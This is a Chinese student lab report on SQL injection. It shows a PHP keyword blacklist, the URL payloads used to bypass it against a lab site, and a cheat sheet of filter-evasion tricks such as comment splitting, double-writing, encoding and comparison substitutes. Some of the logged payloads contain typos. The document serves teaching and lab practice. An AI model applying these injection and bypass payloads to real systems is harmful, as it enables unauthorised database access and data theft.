SQL注入漏洞的攻击与防御

一、实验名称

SQL注入漏洞的攻击与防御

二、实验环境(详细说明运行的系统、平台及代码等)

1、攻击机系统环境:Windows 7/8/10

2、浏览器:Firefox 53.0.2(64位)

3、浏览器插件HackBar 1.6.3.1

三、实验步骤及结果

1、过滤了特殊符号的字符型注入

   实验网址:  http://222.18.158.243:4603/

   注入点:http://222.18.158.243:4603/?id=1

   Web应用考虑了对用户输入的id进行过滤限制。

    function blacklist($id)

    {

              $id= preg_replace('/or/i',"", $id);                 //strip out OR (non case sensitive)

              $id= preg_replace('/and/i',"", $id);           //Strip out AND (non case sensitive)

              $id= preg_replace('/[\/\*]/',"", $id);           //strip out /*

              $id= preg_replace('/[--]/',"", $id);            //Strip out --

              $id= preg_replace('/[#]/',"", $id);                 //Strip out #

              $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces

              $id= preg_replace('/[\/\\\\]/',"", $id);             //Strip out slashes

              return $id;

}

   因为有过滤,所以order by and 等命令都不能使用。用o/**/rder来绕过or过滤;用a/**/nd 来绕过and过滤,或者使ID=0来强制报错;把注释改为;%00截断,用到空格的地方改为%a0(空格的URL编码)。关于URL编码,请参考http://www.cnblogs.com/leaven/archive/2012/07/12/2588746.htm

提示:判断字段个数,可以用下列语句:

http://222.18.158.243:4603/?id=1'%a0o/**/rder%a0by%a03;%00

另外,information_schema.SCHEMATA中间有or,需要绕过。

本实验要求学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。

实验过程

http://222.18.158.243:4603/?id=1%a0oorrder%a0by%ao3;%00

http://222.18.158.243:4603/?id=1’%a0oorrder%a0by%a0by%a04;%00

Order by 3有回显order by无回显,判断字段数为3

http://222.18.158.243:4603/?id=0’%a0union%a0select%a01,2,3;%00

通过select1,2,3返回结果,确定第23个字段可以回显

通过database()函数查询得到数据库名sql_db

通过user()函数查询得到用户名sql_user@localhost

通过联合查询得到表名

获得字段内容

  • 实验心得

要用a/**/nd,o/**/r绕过and和or的过滤限制,每个sql语句后面都要加上;

  • 思考题

1、SQL注入有哪些绕过过滤的方法?

1、过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。

绕过方法:

(1)最常用的绕过方法就是用/**/,<>,分割关键字

sel<>ect

sel/**/ect

(2)根据过滤程度,有时候还可以用双写绕过

selselectect

(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。

(4)有时候还可以使用编码绕过

url编码绕过

         16进制编码绕过

         ASCII编码绕过

2、过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。

绕过方法:

(1)简单注入可以使用join方法绕过

原语句:

union select 1,2,

join语句:

union select * from (select 1)a join (select 2)b join (select 3)

(2)对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决

substr(str from pos for len) //在str中从第pos位截取len长的字符

mid(str from pos for len)//在str中从第pos位截取len长的字符

limit可以用offset的方法绕过

limit 1 offset 1

使用substring函数也可以绕过

substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

3、过滤空格

空格被过滤有以下几种方法绕过:

(1)双空格

(2)/**/

(3)用括号绕过

(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

4、过滤等号

如果等号被过滤了我们可以用 like 代替

5、过滤大于小于号

盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:

         (1)greatest(n1,n2,n3,...)              //返回其中的最大值

         (2)strcmp(str1,str2)            //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

         (3)in 操作符

         (4)between   and              //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

 

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值